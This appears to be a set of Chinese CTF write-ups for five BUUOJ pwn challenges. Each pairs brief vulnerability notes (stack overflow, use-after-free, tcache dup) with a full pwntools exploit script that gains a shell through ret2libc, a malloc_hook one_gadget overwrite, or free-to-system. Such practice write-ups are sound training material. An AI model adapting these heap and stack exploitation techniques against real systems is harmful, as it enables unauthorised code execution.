56 wustctf2020_getshell
保护
平平无奇栈溢出。
from pwn import*
r=remote('node3.buuoj.cn',26438)
system_addr=0x804851B
payload='a' * 0x1c + p32(system_addr)
r.sendline(payload)
r.interactive()
57 [V&N2020 公开赛]easyTHeap
保护
最多七个。
add
202080地址。
202060大小。
edit
show
delete
大小设置成了0但是指针还在。
他这个delete有意思,最多删三个。
那说来说去漏洞就uaf了,还有tcache dup。
这道题libc是2.27,引入了tcache。
整个利用方式就是说
1、首先通过tcache dup的方式攻击tcache的那个结构体,目的是什么呢,因为我们需要通过unsorted bin 去泄露地址,但是只能申请7个,根本申请不到unsorted chunk,就必须得先攻击结构体,把里面计数的地方改成大于7的数字。
2、然后tcache那个结构体现在是释放状态,可以去把那一块申请回去,进行修改,把0x60那个bins的地址填成realloc_hook,然后再申请一下就申请到了。
exp
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
#r = remote('node3.buuoj.cn', 28793)
r = process('./57')
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")
elf=ELF("./57")
def add(size):
r.recvuntil('choice: ')
r.sendline('1')
r.recvuntil('size?')
r.sendline(str(size))
r.recvuntil("Done!\n")
def edit(index,data):
r.recvuntil('choice: ')
r.sendline('2')
r.recvuntil('idx?')
r.sendline(str(index))
r.recvuntil('content:')
r.send(data)
def show(index):
r.recvuntil('choice: ')
r.sendline('3')
r.recvuntil('idx?')
r.sendline(str(index))
def delete(index):
r.recvuntil('choice: ')
r.sendline('4')
r.recvuntil('idx?')
r.sendline(str(index))
r.recvuntil("Done!\n")
one_gadget = 0x4f322
add(0x50)#0
delete(0)
delete(0)
show(0)
tache_chunk=u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x250
print hex(tache_chunk)
add(0x50)#1
edit(1,p64(tache_chunk))
add(0x50)#2
add(0x50)#3
edit(3,'a'*0x28)
delete(3)
show(3)
libc_base=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
one_gadget += libc_base
realloc_addr=libc_base+libc.symbols['__libc_realloc']
malloc_hook=libc_base+libc.symbols['__malloc_hook']
print hex(malloc_hook)
gdb.attach(r)
add(0x100)#4 -> tcache struct
edit(4, 'b' * 0x60 + p64(malloc_hook - 8))
# gdb.attach(p)
add(0x50)
edit(5, p64(one_gadget) + p64(realloc_addr + 8))
add(0x10)
r.interactive()
58 xdctf2015_pwn200
保护
平平无奇栈溢出。
from pwn import *
context.log_level = 'debug'
sh = remote('node3.buuoj.cn',28463)
elf = ELF('./58')
libc = ELF('./32/libc-2.23.so')
payload = 112 * 'a'
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['main'])
payload += p32(1)
payload += p32(elf.got['write'])
payload += p32(4)
sh.sendline(payload)
write_addr = u32(sh.recvuntil('\xf7')[-4:])
libcbase = write_addr - libc.symbols['write']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search('/bin/sh').next()
payload = 112 * 'a'
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(binsh)
sh.sendline(payload)
sh.interactive()
59 ciscn_2019_n_3
保护
add
del
show
del跟show都是调用的刚刚存在一次的那些函数。
两个free都没有清空野指针,就造成了uaf。
但是跟一般的uaf又不一样,这个uaf没有写函数。
通过uaf把free改成system函数,然后调用free("/bin/sh")
考虑没有检查double free,所以比较简单,申请两个0xc然后再释放掉,再申请到一起就可以控制一个第一层的chunk,从而修改free。
exp
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 29362)
#r = process('./59')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./59")
#fgets最后必须用换行符截断。
def new1(index):
r.recvuntil('CNote > ')
r.sendline('1')
r.recvuntil('Index > ')
r.sendline(str(index))
r.recvuntil('Type > ')
r.sendline('1')
r.recvuntil('Value > ')
r.sendline("1")
def new2(index, length, value):
r.recvuntil('CNote > ')
r.sendline('1')
r.recvuntil('Index > ')
r.sendline(str(index))
r.recvuntil('Type > ')
r.sendline('2')
r.recvuntil('Length > ')
r.sendline(str(length))
r.recvuntil('Value > ')
r.sendline(value)
def dele(index):
r.recvuntil('CNote > ')
r.sendline('2')
r.recvuntil('Index > ')
r.sendline(str(index))
def show(index):
r.recvuntil('CNote > ')
r.sendline('3')
r.recvuntil('Index > ')
r.sendline(str(index))
new1(0)
new2(1, 0x20, 'a')
dele(1)
dele(0)
#gdb.attach(r)
new2(2, 0xc, "sh\x00\x00" + p32(elf.sym['system']))
new2(3, 0x20, "/bin/sh\x00")
dele(1)
r.interactive()
#最后的/bin/sh不能写在value里面,因为system函数地址后面必会有一个\n,他会让你的value的chunk的地址改掉,所以只能写在printf函数的地方。
60 bbys_tu_2016
保护
平平无奇栈溢出。
要注意的是它main函数的参数又是三个,所以在溢出的时候要多溢出0x8,因为是32位的嘛。
from pwn import*
r=remote('node3.buuoj.cn',28836)
system_addr=0x804856d
payload='a' * 0x18 + p32(system_addr)
r.sendline(payload)
r.interactive()